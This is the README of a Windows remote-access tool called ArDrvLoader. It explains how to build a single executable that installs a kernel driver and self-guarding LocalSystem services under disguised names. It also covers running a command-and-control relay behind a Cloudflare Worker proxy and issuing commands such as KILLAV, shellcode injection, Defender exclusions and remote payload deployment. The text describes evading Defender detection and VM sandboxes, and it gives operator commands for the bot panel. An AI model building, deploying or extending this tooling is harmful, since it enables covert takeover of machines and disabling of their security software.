loader/README.md

# ArDrvLoader - build, use, test

Single Windows client binary that installs a LocalSystem service stack, a kernel
driver, and a cloud command channel, plus a relay server and a Cloudflare Worker
that sit in front of it.

```
client exe  →  Cloudflare Worker (proxy)  →  relay server (Node + SQLite)  →  panel
```

The Worker stores nothing; the relay owns all state. A client can also talk to the
relay directly (no Worker) when you want to save Cloudflare requests.

- detailed internals: `SERVICES.md`
- this file: how to build, run and test

---

## 1. Requirements

| Piece | Need |
|---|---|
| Client build | Visual Studio 2022/2026 with C++ x64 toolset, MSBuild |
| Relay | Node.js 22+ (uses `node:sqlite`, no npm dependencies) |
| Worker (optional) | `npm i -g wrangler` and a Cloudflare account |
| Test target | Windows 10/11 x64, admin rights for service install |

Repository layout:

```
cpp_end/
  *.cpp *.h            client sources
  ArDrvLoader.vcxproj  client project
  StageDll.cpp/.vcxproj  stage payload DLL (embedded into the exe)
  driver_res.rc stage_res.rc resource.h   embedded driver + payload
  build.ps1            build driver → payload → exe, produces dist\<cfg>
  server/              relay server, sqlite, panel.html
  cloudflare/          Worker proxy, mock worker
  agent-cli.ps1 agent.cmd   small helpers to send a command and read the ACK
  test-cloud.ps1       end-to-end test against the mock worker
  SERVICES.md          deep documentation
```

Place `ardrv.sys` in `cpp_end\` before building if you want the driver embedded.
Place nothing there for a driver-less build.

---

## 2. Build

```
cd cpp_end
powershell -ExecutionPolicy Bypass -File build.ps1 -Configuration Release
```

Output:

```
dist\Release\ArDrvLoader.exe      <- single file, this is what ships
x64\Release\ArDrvLoader.exe       <- build output with .pdb symbols
```

Variants:

| Command | Result |
|---|---|
| `build.ps1 -Configuration Release` | 335 KB, driver + stage DLL embedded, silent (no console), no logs |
| `build.ps1 -Configuration Debug` | 2.5 MB, console window, writes `C:\Users\Public\ardrv_loader.log` |
| `build.ps1 -Configuration Release -NoEmbed` | 274 KB, no embedded resources; ship `ardrv.sys` and `ardrvstage.dll` separately |
| `build.ps1 -NoEmbed` also accepts `-SkipPayload` | skips rebuilding the stage DLL entirely |

Raw MSBuild, if you prefer:

```
MSBuild ArDrvLoader.vcxproj /p:Configuration=Release /p:Platform=x64 /m
```

Release is linked as a **Windows subsystem** binary (`wmainCRTStartup`), so
double-clicking it shows no console. Debug stays a console app.

Build hardening already applied to Release: `/Brepro` (no Rich header, no
timestamps) and `/PDBALTPATH:%_PDB%` (no absolute build paths). This removed a
`Trojan:Win32/Wacatac.B!ml` false positive from Defender.

### Build-time defaults

The exe can run with **no arguments at all**. These macros live in
`ArDrvLoader.vcxproj` → `PreprocessorDefinitions`:

| Macro | Meaning | Default |
|---|---|---|
| `ARDRV_DEFAULT_URL` | relay or Worker address | `http://127.0.0.1:8789` |
| `ARDRV_DEFAULT_OPERATOR_KEY` | operator key for the API | `testop` |
| `ARDRV_DEFAULT_SECRET` | agent key | `testsecret` |
| `ARDRV_DEFAULT_AGENT` | agent id, empty = computer name | empty |
| `ARDRV_ALLOW_VM_DEFAULT` | `1` bypasses the VM gate (lab images) | `1` |

Set `ARDRV_ALLOW_VM_DEFAULT=0` and real URLs before shipping.

---

## 3. Run the relay server

```
cd cpp_end/server
set PORT=8790
set AGENT_SECRET=testsecret
set OPERATOR_KEY=testop
set ENROLL_SECRET=testenroll
set LEGACY_MASTER_AUTH=false
set PROXY_SECRET=proxys3cret
node server.js
```

| Env | Default | Purpose |
|---|---|---|
| `PORT` | 8790 | listen port |
| `DATA_DIR` | `./data` | sqlite file + `files/` payloads |
| `PANEL_PATH` | `server/panel.html` | UI to serve at `/panel` |
| `AGENT_SECRET` | - | master key; per-agent keys are derived from it |
| `OPERATOR_KEY` | - | panel / operator API key |
| `ENROLL_SECRET` | operator key | enrollment token |
| `LEGACY_MASTER_AUTH` | `false` | accept the shared master key during migration |
| `PROXY_SECRET` | - | if set, requests must carry `X-Proxy-Secret` |
| `RETAIN_COMMAND_DAYS` | 7 | command retention |
| `RETAIN_EVENT_DAYS` | 30 | event retention |
| `RETAIN_MAX_COMMANDS` | 50000 | hard cap |

The server creates its schema on start, opens SQLite in WAL mode, and reaps
commands stuck in `sent` for over 180 s.

Panel: `http://<host>:8790/panel?key=testop`

---

## 4. Run the Worker proxy (optional)

```
cd cpp_end/cloudflare
wrangler dev --port 8789 --ip 127.0.0.1 --local
```

`.dev.vars`:

```
SERVER_URL=http://127.0.0.1:8790
PROXY_SECRET=proxys3cret
```

Production: set `SERVER_URL` as a Worker var and `PROXY_SECRET` as a secret, then
`wrangler deploy`. `wrangler.toml` has no D1 or KV bindings - the Worker is a pure
forwarder.

---

## 5. Install the client

### One double-click

`dist\Release\ArDrvLoader.exe` with **no arguments** uses the build-time defaults:

1. one UAC prompt
2. installs driver + three services + cloud agent service
3. waits for the agent to register (id = computer name)
4. queues `KILLAV` through the relay so the run appears in the panel

### With explicit arguments

```
ArDrvLoader.exe -bootstrap --url https://relay.example --operator-key <key> ^
    [--agent box1] [--secret <agent-key>] [--target C:\Path\App.exe] [--no-killav]
```

### Services only, no bootstrap

```
ArDrvLoader.exe -install-guard-services --target "C:\Path\App.exe" --args "--silent"
ArDrvLoader.exe -install-guard-services --target-service "SomeService"
ArDrvLoader.exe -install-guard-services --dry-run          # print the plan, no UAC
```

Options: `--prefix <Name>`, `--install-dir <path>`, `--keep-location`,
`--no-start`, `--allow-vm`, `--cloud-url`, `--cloud-secret`, `--cloud-agent`,
`--cloud-service`.

### What gets installed

| Service | Role |
|---|---|
| `DeviceSetupHost` | extracts the driver to `System32\drivers`, creates/starts kernel service `ArDrv`, verifies `\\.\ArDrv` |
| `ProgramCompatHost` | keeps the target program alive, keeps the stage payload injected, keeps peers alive |
| `ServiceStateHost` | re-enables a disabled target service and starts it |
| `CloudTest` / `CloudSyncHost` | the cloud agent |

All run as `LocalSystem`, auto-start, restart on failure, and watch each other.
Files live under a machine-tagged directory:
`%ProgramData%\Microsoft\Windows\Caches\<8hex>\` (or `%LOCALAPPDATA%\...\INetCache\<8hex>\`
for a non-elevated agent).

### Configuration - `HKLM\SOFTWARE\ArDrvLoader`

The key is DACL-locked to SYSTEM + Administrators. Services re-read it every loop,
so changes apply without reinstalling.

| Value | Type | Default | Meaning |
|---|---|---|---|
| `TargetPath` | REG_SZ | - | program to keep alive |
| `TargetArgs` | REG_SZ | - | its arguments |
| `TargetService` | REG_SZ | - | service to keep alive instead |
| `DriverImage` | REG_SZ | `...\drivers\ardrv.sys` | driver path |
| `DriverService` | REG_SZ | `ArDrv` | kernel service name |
| `DriverDevice` | REG_SZ | `\\.\ArDrv` | device to verify |
| `CheckIntervalMs` | REG_DWORD | 5000 | loop interval |
| `DesiredStartType` | REG_DWORD | 2 | 2 auto, 3 demand |
| `DriverFailCount` | REG_DWORD | 0 | consecutive driver failures |
| `DriverFailMax` | REG_DWORD | 3 | budget before giving up |
| `DriverState` | REG_SZ | - | `ok` / `failed` / `disabled-after-failures` |
| `KillAvOnStart` | REG_DWORD | 0 | AV sweep on each guard start |
| `AllowVm` | REG_DWORD | 0 | run inside a VM |
| `ExclusionPaths` | REG_SZ | - | `|`-separated Defender exclusions |

---

## 6. Cloud agent

```
ArDrvLoader.exe -cloud --agent box1 --url https://relay.example --secret <key> --interval 5000
ArDrvLoader.exe -cloud-service --service-name CloudTest --agent box1 --url ... --secret ...
```

Config is also read from env (`CA_URL`, `CA_SECRET`, ...) or
`HKLM\Software\CloudAgent`.

### Per-agent keys

```
ArDrvLoader.exe -enroll --url https://relay.example --agent box1 --enroll-secret <token>
```

Writes `<root>\agent-box1.key`; the agent uses it when `--secret` and `CA_SECRET`
are absent. Revoke from the panel (`revoke`) or
`POST /api/revoke {"agent":"box1","revoked":true}`. Re-enrolling clears it.

---

## 7. Panel

`http://<host>:8790/panel?key=<operator-key>`

- **Console** - per-agent composer (Enter sends, Shift+Enter newline), quick chips,
  history with `copy result` / `run again`
- **All commands** - global table, defaults to executed commands, sortable by
  time / agent / command / state / operator / result / duration
  - `run` chip re-enqueues that command for the same agent
  - `+` or the result cell expands the output
  - clicking the row loads the command into that agent's console
- **Palette** - `all commands (47)` opens every command grouped by category, with
  search; chips with `<args>` load into the composer, others send immediately
- agent header shows host, user, SID, version, interval, and `revoke`/`restore`
- offline agents render grey (`online=false` after 3 intervals, min 45 s)
- broadcast sends one command to every online agent
- auto-refresh every 3 s, `/` focuses the agent filter, `lock` forgets the key

---

## 8. Commands

```
PING STATUS HELP
RUN <cmd> EXEC <commandline> RUN_USER <cmd> RUN_SYSTEM <cmd>
PS <powershell> PS_USER <powershell>
RUNFILE <path> [args]  RUNFILE_USER  RUNFILE_SYSTEM
OPENFILE <path> [args] OPENFILE_USER
DOWNLOAD <url> <out> [sha256]  DEPLOY <url> [args]  DEPLOY_SYSTEM <url> [args]
KILLPID <pid> KILLNAME <exe> KILLALL <exe> TOKEN_GET
INJECT_FILE <pid> <shellcode> INJECT_SUSPEND <exe> <shellcode>
KILLAV KILLAV_DRYRUN
EXCLUSION_LIST EXCLUSION_ADD <path> EXCLUSION_APPLY
DRIVER_STATUS DRIVER_RESET DRIVER_LOAD
HOST_LIST HOST_SPAWN [--host <img>] <exe> [args] HOST_SPAWN_USER
HOST_INJECT <shellcode> [--host <img>] HOST_TRACK HOST_UNTRACK
STAGE_STATUS STAGE_INJECT [--host <img>] STAGE_RUN <cmd> STAGE_STOP
SERVICE_STATUS <name> START_SERVICE <name> [path]
INSTALL_SERVICE <name> [path] INSTALL_CLOUD_SERVICE <name>
INSTALL_GUARD_SERVICES [--target <path>] [--target-service <name>] [--args <args>]
STOP
```

`KILLAV` and `STOP` are real actions; everything else is diagnostic or scoped.

---

## 9. Test

### 9.1 Automated cloud test (mock worker, no Node needed in the path)

```
cd cpp_end
powershell -ExecutionPolicy Bypass -File test-cloud.ps1
```

It starts `cloudflare/mock-worker.ps1`, starts an agent against it and checks:
PING, STATUS, DOWNLOAD (with SHA-256), a wrong-hash download that must be rejected
and deleted, DEPLOY, HOST_LIST, HOST_TRACK, STAGE_STATUS, EXCLUSION_LIST,
DRIVER_STATUS, STOP, plus an unsigned request that must return 403. Prints PASS.

Useful switches: `-Port 8795 -AgentId clitest1`.

### 9.2 Manual command against the live relay

```
\.\agent-cli.ps1 -Command "STATUS"
\.\agent-cli.ps1 -Worker http://127.0.0.1:8789 -Agent box1 -Secret testsecret -Command "HOST_LIST"
agent.cmd STATUS           # wrapper for hosts with a restrictive execution policy
```

### 9.3 Single-exe client test

1. Copy `dist\Release\ArDrvLoader.exe` into an empty folder
2. Double-click it (Release is silent; use Debug to watch)
3. Expect UAC → agent appears in the panel → `KILLAV` row completes

Verify from a shell:

```
sc query DeviceSetupHost
sc query ArDrv
dir C:\Windows\System32\drivers\ardrv.sys
HKLM\SOFTWARE\ArDrvLoader
```

### 9.4 Driver checks

```
ArDrvLoader.exe -drv status        # device=ok embedded=<bytes> fail=N/max state=...
ArDrvLoader.exe -drv extract C:\Temp\ardrv.sys
ArDrvLoader.exe -drv reset
```

### 9.5 Kill-safety checks

```
ArDrvLoader.exe -killav --dry-run                     # AV allowlist, nothing killed
ArDrvLoader.exe -killav --dry-run --name svchost.exe  # must print SKIP protected
ArDrvLoader.exe -killav --dry-run --name notepad.exe  # would-kill, or would-kill (driver)
```

### 9.6 AV scan

```
"C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File ^
  "C:\Code\AvKiler\cpp_end\dist\Release\ArDrvLoader.exe" -DisableRemediation
```

Current build scans clean on engine 1.461.217.0.

### 9.7 Uninstall / reset

Elevated, in order:

```
sc stop CloudTest ProgramCompatHost ServiceStateHost DeviceSetupHost
sc delete CloudTest ProgramCompatHost ServiceStateHost DeviceSetupHost
sc stop ArDrv
sc delete ArDrv
del C:\Windows\System32\drivers\ardrv.sys
reg delete HKLM\SOFTWARE\ArDrvLoader /f
rmdir /s /q C:\ProgramData\Microsoft\Windows\Caches\<8hex>
```

Then clear relay state if you want a clean panel:

```
node -e "const{DatabaseSync}=require('node:sqlite');const d=new DatabaseSync('server/data/ardrv.sqlite');d.exec('DELETE FROM commands;DELETE FROM events;DELETE FROM agents;')"
```

A staged payload that was injected into a live host can keep
`ardrvstage.dll` locked until reboot; queue it with
`PendingFileRenameOperations` or restart.

---

## 10. Troubleshooting

| Symptom | Cause / fix |
|---|---|
| double-click does nothing, no UAC | launched from an elevated shell - Windows suppresses the prompt; launch from Explorer |
| UAC appears, nothing installed | `--elevated` present but bootstrap not selected; check you are on a build after commit `9db2870` |
| silent exit, no services | VM gate blocked it - set `ARDRV_ALLOW_VM_DEFAULT=1` or `--allow-vm` |
| agent never appears | relay/worker down, wrong URL, or `PROXY_SECRET` mismatch (relay returns 403) |
| agent shows offline while running | poll interval mismatch; check `X-Agent-Interval` header handling and the 3-interval threshold |
| services Stopped after an update | binary replace hit a sharing violation; the installer retries 10 s. Check Event Log if it persists |
| driver role stops retrying | `DriverFailMax` reached - `DRIVER_RESET` or `-drv reset` |
| command runs twice | reaper requeued a slow command; agents dedupe by id and ack `OK (dup, not re-executed)` |
| Defender deletes the exe | re-scan; if flagged, rebuild (Brepro/PDBALTPATH) or add an exclusion during testing |
| SmartScreen "unknown publisher" | unsigned exe with Mark of the Web; unblock the file or sign the binary |

---

## 11. Known limitations

- The client is **unsigned**; code signing is the durable fix for SmartScreen and
  behavioural AV verdicts.
- Driver capabilities beyond terminate (`PPL` strip, kernel registry writes,
  device ACL) need driver source, which is not part of this repository.
- `KILLAV` is real: on a test box it disables Defender until it recovers.
- Polling only (no WebSocket yet); at 15 s per agent the Cloudflare free tier caps
  you around 17 agents.
- The "services go quiet, payload takes over" handoff is half-built: the guard
  keeps the stage payload alive, but the payload only runs commands.